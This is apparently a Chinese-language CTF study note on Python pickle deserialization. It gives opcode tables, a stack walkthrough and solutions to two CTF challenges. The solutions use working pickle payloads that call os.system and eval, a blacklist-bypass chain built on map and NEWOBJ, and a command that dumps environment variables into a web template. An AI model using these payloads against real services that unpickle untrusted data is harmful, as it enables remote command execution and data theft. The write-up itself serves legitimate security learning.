Pickle

https://goodapple.top/archives/1069
pickle反序列化比java和php的危害要大不少
因为利用起来比较容易,很轻松可以RCE
经常和其它基础漏洞配合起来使用

能够序列化的对象

  • None
  • bool
  • int,float,complex
  • 元素全部为可打包对象的tuple、list、set 和 dict
  • 函数
    • 使用def定义的模块顶层的函数(lambda不行)
    • 内置函数
    • 使用class定义在模块顶层的
  • 实例对象
    • __dict__属性和__getstate__()函数的返回值为可序列化对象

PS:对于不能序列化的数据会抛出PicklingError异常

opcode和Bytecode

pickle的序列化数据的一种格式是opcode(直译就是操作码)

是一种独立的栈语言,

Python Bytecode (.pyc): 是给 PVM (Python Virtual Machine) 看的,用于通用的程序逻辑

例如:

def add(a, b):
return a + b

转换成指令流:

2           0 LOAD_FAST                0 (a)
2 LOAD_FAST 1 (b)
4 BINARY_ADD
6 RETURN_VALUE

这整个指令流被称为Bytecode(但实际上更普遍的被称为opcode)

而类似LOAD_FAST的单个指令就是一个普遍的opcode

pickle opcode

Pickle Opcode: 是给 Unpickler (Pickle 虚拟机) 看的,专门用于构建对象

刚刚介绍的正常opcode包含很多复杂的指令逻辑例如做加法 (BINARY_ADD)、比较大小 (COMPARE_OP)、循环 (JUMP_ABSOLUTE)。

但pickle的opcode只支持存储与堆叠,旨在恢复数据

以下是大部分常见pickle opcode

Opcode (Char/Hex) Name Description (功能描述)
基础控制与数值
. (0x2e) STOP 结束 Pickle 流,反序列化完成
N (0x4e) NONE 推送 None 到栈顶
I (0x49) INT 推送整数 (文本格式)
F (0x46) FLOAT 推送浮点数 (文本格式)
S (0x53) STRING 推送字符串 (带引号的文本格式)
V (0x56) UNICODE 推送 Unicode 字符串
K (0x4b) BININT1 推送 1 字节无符号整数
M (0x4d) BININT2 推送 2 字节无符号整数
J (0x4a) BININT 推送 4 字节有符号整数
容器构建 (List/Dict/Tuple)
( (0x28) MARK 推送标记 (Mark) 到栈顶,用于界定容器边界
l (0x6c) LIST 构建列表 (从栈顶直到 Mark)
d (0x64) DICT 构建字典 (从栈顶直到 Mark)
t (0x74) TUPLE 构建元组 (从栈顶直到 Mark)
] (0x5d) EMPTY_LIST 推送一个空列表
} (0x7d) EMPTY_DICT 推送一个空字典
a (0x61) APPEND 将栈顶元素 append 到栈顶下方的列表中
e (0x65) APPENDS 批量 append (从 Mark 开始) 到列表
s (0x73) SETITEM 设置字典键值对 (key, value)
u (0x75) SETITEMS 批量设置字典键值对 (从 Mark 开始)
对象与类
c (0x63) GLOBAL 导入模块和类 (Module.Class) 并推送到栈
R (0x52) REDUCE 调用可调用对象 (通常用于通过类和参数重建对象)
b (0x62) BUILD 调用 __setstate__ 或更新 __dict__ 来恢复对象状态
o (0x6f) OBJ 构建类实例 (旧协议,基于栈上的类和参数)
i (0x69) INST 实例化对象 (相当于 GLOBAL + MARK + BUILD 的旧版组合)
\x81 (0x81) NEWOBJ (Proto 2+) 直接创建新对象实例 (不调 __init__)
Memoization (记忆/引用)
p (0x70) PUT 将栈顶对象存入 memo (文本索引)
q (0x71) BINPUT 将栈顶对象存入 memo (1字节二进制索引)
r (0x72) LONG_BINPUT 将栈顶对象存入 memo (4字节二进制索引)
g (0x67) GET 从 memo 获取对象 (文本索引)
h (0x68) BINGET 从 memo 获取对象 (1字节二进制索引)
栈操作
0 (0x30) POP 弹出栈顶元素
2 (0x32) DUP 复制栈顶元素

这里用一个简单的最常规的命令执行来举例:

opcode=b'''cos
system
(S'whoami'
tR.'''

cos
system #字节码为c,形式为c[moudle]\n[instance]\n,导入os.system。并将函数压入stack

(S'ls' #字节码为(,向stack中压入一个MARK。字节码为S,示例化一个字符串对象'whoami'并将其压入stack

tR. #字节码为t,寻找栈中MARK,并组合之间的数据为元组。然后通过字节码R执行os.system('whoami')

#字节码为.,程序结束,将栈顶元素os.system('ls')作为返回值

这里的栈是pickle模块内部的一个列表

“压入栈”实际就是append进列表

过程模拟:

第一步

|               |
| os.system | <--- 栈顶
|_______________|

第二步

| (MARK)        | <--- 栈顶
| os.system |
|_______________|

第三步

| 'whoami'      | <--- 栈顶
| (MARK) |
| os.system |
|_______________|

第四步t构建元组

| ('whoami',)   | <--- 栈顶 (这是一个元组,作为参数列表)
| os.system | <--- 这里的 os.system 一直没动
|_______________|

第五步R执行函数,要求栈顶为参数元组,栈顶的下面一个元素为可执行函数

第六步.停止

那么了解这个过程后拓展其余的执行函数的过程就很清晰了


字节码o:

opcode3=b'''(cos
system
S'whoami'
o.'''

以上一个mark上的第一个数据(必须是可执行函数)为函数

以第2~n个数据为函数参数执行


字节码i:

opcode2=b'''(S'whoami'
ios
system
.'''

用类似c的方式获取到一个可执行函数,然后寻找上一个mark,以mark和自身之间的入栈数据作为元组,以元组作为参数执行

例题

2024极客大挑战-ez_python

常规注册登录,暂时没有发现可攻击的点
但登录后提示查看:/starven_s3cret
成功获得源码:

import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import black

app = Flask(__name__)

#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():
return render_template_string(open('templates/index.html').read())

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
usname = request.form['username']
passwd = request.form['password']

if usname and passwd:
heart_cookie = secrets.token_hex(32)
response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
response.set_cookie('heart', heart_cookie)
return response

return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
heart_cookie = request.cookies.get('heart')
if not heart_cookie:
return render_template('warning.html')

if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
statement = request.form['statement']

try:
heal_state = base64.b64decode(statement)
print(heal_state)
for i in black.blacklist:
if i in heal_state:
return render_template('waf.html')
pickle.loads(heal_state)
res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
os.system("echo " + flag + " > /flag")
return res
except Exception as e:
print( e)
pass
return "Error!!!! give you hint: maybe you can view /starven_s3cret"

return render_template('login.html')

@app.route('/monologue',methods=['GET','POST'])
def joker():
return render_template('joker.html')

@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():
return send_file(__file__,as_attachment=True)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)

可见是一个pickle注入题目
而登录时对starven学长说的话就是需要注入的内容,需要base64加密
那么构造如下poc:

import pickle
import base64

print(base64.b64encode(pickle.dumps("111")))
import pickle
import os
import base64
import requests

class aaa():
def __reduce__(self):
try:
print(111)
return (eval,("__import__('os').system('xxx')",))
except:
pass
a = aaa()

print(base64.b64encode(pickle.dumps(a)))

pickle.loads(base64.b64decode("gASVOQAAAAAAAACMAm50lIwGc3lzdGVtlJOUjCFlY2hvICIyMjIiPiBmaW5kIC1uYW1lIGpva2VyLmh0bWyUhZRSlC4="))

即可执行任意命令,本想弹shell,结果弹shell的各种方法被过滤,
另寻他法后发现index.html的文件位置精确的暴露了,那么我们只要将执行命令的回显写入即可:

return (eval,("__import__('os').system('env > templates/index.html')",))

再回到首页即可成功获得flag
当然预期解的打法那就是写内存马

2025TSGCTF

直接使用nc连接,

payload = b'\x80\x03'
payload += b'cbuiltins\ntuple\n'
payload += b'cbuiltins\nmap\n'
payload += b'\x28'
payload += b'cos\nsystem\n'
payload += b'\x28'
payload += b'S\'cat flag.txt\'\n'
payload += b'l'
payload += b't'
payload += b'\x81'
payload += b'\x85'
payload += b'\x81'
payload += b'.'

print(payload.hex())

这里首先设置了协议为3,不过实际测试似乎不需要

然后实现的操作实际上是

tuple(map(os.system, ['cat flag.txt']))

这里的思路和java反序列化中cc链有异曲同工之妙

pickle完整操作码表

Hex    ASCII    Name             Description (中文描述)
================================================================================
# 基础通用指令 (Protocol 0 - 1) - 大多对应可见字符
--------------------------------------------------------------------------------
\x28 ( MARK 压入标记对象 (MARK),用于界定列表/元组范围
\x29 ) EMPTY_TUPLE 压入一个空元组
\x2e . STOP 反序列化结束 (Stop),返回栈顶元素
\x30 0 POP 弹出(丢弃)栈顶元素
\x31 1 POP_MARK 弹出栈顶直到遇到标记 (MARK) 并丢弃
\x32 2 DUP 复制栈顶元素并再次压入
\x46 F FLOAT 压入浮点数 (文本格式)
\x47 G BINFLOAT 压入浮点数 (8字节二进制格式)
\x49 I INT 压入整数 (文本格式)
\x4a J BININT 压入4字节有符号整数
\x4b K BININT1 压入1字节无符号整数
\x4c L LONG 压入长整数
\x4d M BININT2 压入2字节无符号整数
\x4e N NONE 压入 None
\x50 P PERSID 压入持久化ID对象
\x51 Q BINPERSID 压入持久化ID对象 (二进制)
\x52 R REDUCE 执行函数 (取出栈顶元组作为参数,次栈顶作为函数执行)
\x53 S STRING 压入字符串 (文本格式,引号包裹)
\x54 T BINSTRING 压入字符串 (二进制格式)
\x55 U SHORT_BINSTRING 压入短字符串 (长度 < 256)
\x56 V UNICODE 压入 Unicode 字符串
\x58 X BINUNICODE 压入 Unicode 字符串 (二进制)
\x5d ] EMPTY_LIST 压入一个空列表
\x61 a APPEND 将对象追加到列表 (stack[-1] append to stack[-2])
\x62 b BUILD 通过 setstate 或 dict 更新构建对象
\x63 c GLOBAL 导入全局对象 (格式: module\nname\n)
\x64 d DICT 构建字典 (从 MARK 开始)
\x65 e APPENDS 扩展列表 (将切片扩展到列表)
\x66 f PUT (已废弃) 同 PUT
\x67 g GET 从 Memo 获取对象 (文本索引)
\x68 h BINGET 从 Memo 获取对象 (1字节二进制索引)
\x69 i INST 构建类实例 (相当于 c + o)
\x6a j LONG_BINGET 从 Memo 获取对象 (4字节二进制索引)
\x6c l LIST 构建列表 (从 MARK 开始)
\x6f o OBJ 构建类对象 (利用栈上的参数)
\x70 p PUT 存入 Memo (文本索引)
\x71 q BINPUT 存入 Memo (1字节二进制索引)
\x72 r LONG_BINPUT 存入 Memo (4字节二进制索引)
\x73 s SETITEM 字典赋值 (d[k]=v)
\x74 t TUPLE 构建元组 (从 MARK 开始)
\x75 u SETITEMS 字典批量赋值
\x7d } EMPTY_DICT 压入一个空字典

# 二进制扩展指令 (Protocol 2, 3, 4+) - 无 ASCII 对应
--------------------------------------------------------------------------------
\x80 N/A PROTO 声明协议版本 (如 \x80\x03)
\x81 N/A NEWOBJ 实例化类 (调用 __new__,WAF 绕过神器)
\x82 N/A EXT1 扩展代码 (1字节)
\x83 N/A EXT2 扩展代码 (2字节)
\x84 N/A EXT4 扩展代码 (4字节)
\x85 N/A TUPLE1 构建单元素元组 (无需 MARK)
\x86 N/A TUPLE2 构建双元素元组 (无需 MARK)
\x87 N/A TUPLE3 构建三元素元组 (无需 MARK)
\x88 N/A NEWTRUE 压入 True
\x89 N/A NEWFALSE 压入 False
\x8a N/A LONG1 长整数 (1字节长度前缀)
\x8b N/A LONG4 长整数 (4字节长度前缀)
\x8c N/A SHORT_BINUNICODE 短 Unicode 字符串 (长度 < 256)
\x8d N/A BINUNICODE8 长 Unicode 字符串 (8字节长度前缀)
\x8e N/A BINBYTES8 长 Bytes 对象 (8字节长度前缀)
\x8f N/A EMPTY_SET 压入空集合 (Set)
\x90 N/A ADDITEMS 向集合添加元素
\x91 N/A FROZENSET 构建不可变集合 (Frozenset)
\x92 N/A NEWOBJ_EX 实例化类 (带关键字参数)
\x93 N/A STACK_GLOBAL 栈上导入全局对象 (Protocol 4+)
\x94 N/A MEMOIZE 自动存入 Memo (无需指定索引)
\x95 N/A FRAME 帧标记 (用于分块传输)
\x96 N/A BYTEARRAY8 压入 ByteArray 对象
\x97 N/A NEXT_BUFFER 压入带外缓冲区 (Pickle 5)
\x98 N/A READONLY_BUFFER 设为只读缓冲区 (Pickle 5)